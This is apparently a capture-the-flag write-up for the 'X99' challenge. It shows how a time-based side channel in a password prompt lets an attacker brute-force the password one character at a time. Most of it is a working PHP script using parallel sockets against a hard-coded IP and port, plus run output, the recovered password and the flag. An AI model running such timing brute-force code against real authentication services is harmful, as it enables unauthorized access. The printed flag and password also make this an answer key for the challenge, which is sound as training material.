this is one of their machines which have very sensitive informations ,
try to get for us the password208.64.122.27
PORT : 3000
X99 carries a synthetic vulnerability that allows a char-by-char password bruteforce.
The setup
The service gives us an auth request upon connection:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _ _ 99 _________ ______ ______ _ _ _____ ______ ______ \ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | | >|--|< | | | | | | | |__| | | | | |--| | | | | | | | | |---- /_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Authentication Required Password : pass Authentication Failed .... Password : _ |
The time
The thing that can be noticed, is that it hangs for a while when supplied password starts with ‘w‘:
Authentication Required Password : hello Authentication Failed .... Password : world *** 5 seconds pass.. *** Authentication Failed .... |
Turns out it is a synthetic time-based side channel analogue, with overboosted time delays.
Each matching password letter increases the delay by 5 seconds.
The exploit
The correct password can be found via bruteforcing password letter-by-letter, and here is a script for that:
<?php function new_socket() { $sock = fsockopen("208.64.122.27", 3000); while (trim(fgets($sock)) != 'Authentication Required'); fread($sock, 11); // Skip 'Password : ' return $sock; } $charset = str_split("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-."); $sockets = $times = array(); $guessed = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; // can resume session if anything goes wrong while (true) { echo "Guessed '$guessed'\n"; echo " Creating sockets"; foreach ($charset as $letter) { $sockets[$letter] = new_socket(); echo "."; } echo "\n"; echo " Writing passwords"; foreach ($sockets as $letter => $sock) { fwrite($sock, $guessed . $letter); echo "."; } echo "\n"; echo " Writing \\n's"; foreach ($sockets as $letter => $sock) { fwrite($sock, "\n"); $times[$letter] = microtime(true); echo "."; stream_set_blocking($sock, false); // Turning off blocking for read attempts } echo "\n"; echo "Waiting for response"; while (!empty($sockets)) { foreach ($sockets as $letter => $sock) { $c = fgetc($sock); if ($c !== false) { $times[$letter] = microtime(true) - $times[$letter]; fclose($sock); unset($sockets[$letter]); echo '.'; } } usleep(10000); } echo "\n\n"; echo "===== Response times\n"; $nextLetter = false; foreach ($times as $letter => $time) { if ($time > 5 * (strlen($guessed) + 1)) { $nextLetter = $letter; echo "*$letter* - " . round($time) . "\t"; } else { echo "$letter - " . round($time) . "\t"; } } echo "\n\n"; if ($nextLetter === false) { break; } else { $guessed .= $nextLetter; } } echo "\nWork done!\nPassword is: $guessed\n"; ?> |
The script utilizes multiple connections to target server so it doesn’t have to wait 5*N seconds for each letter from charset, instead all the charset is tried simultaneously.
Let’s run it:
F:\>d:\php\php_fast.cmd x99.php Guessed '' .............. .............. *** approx. 30 mins later *** .............. Work done! Password is: w3_0wn_7h15_f0r_r34L |
Password: w3_0wn_7h15_f0r_r34L
The flag
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _ _ 99 _________ ______ ______ _ _ _____ ______ ______ \ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | | >|--|< | | | | | | | |__| | | | | |--| | | | | | | | | |---- /_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Authentication Required Password : w3_0wn_7h15_f0r_r34L +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+- Game Flag : 0xFEFERKJ8389743GH79G6D368GT093 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+- |
Flag: 0xFEFERKJ8389743GH79G6D368GT093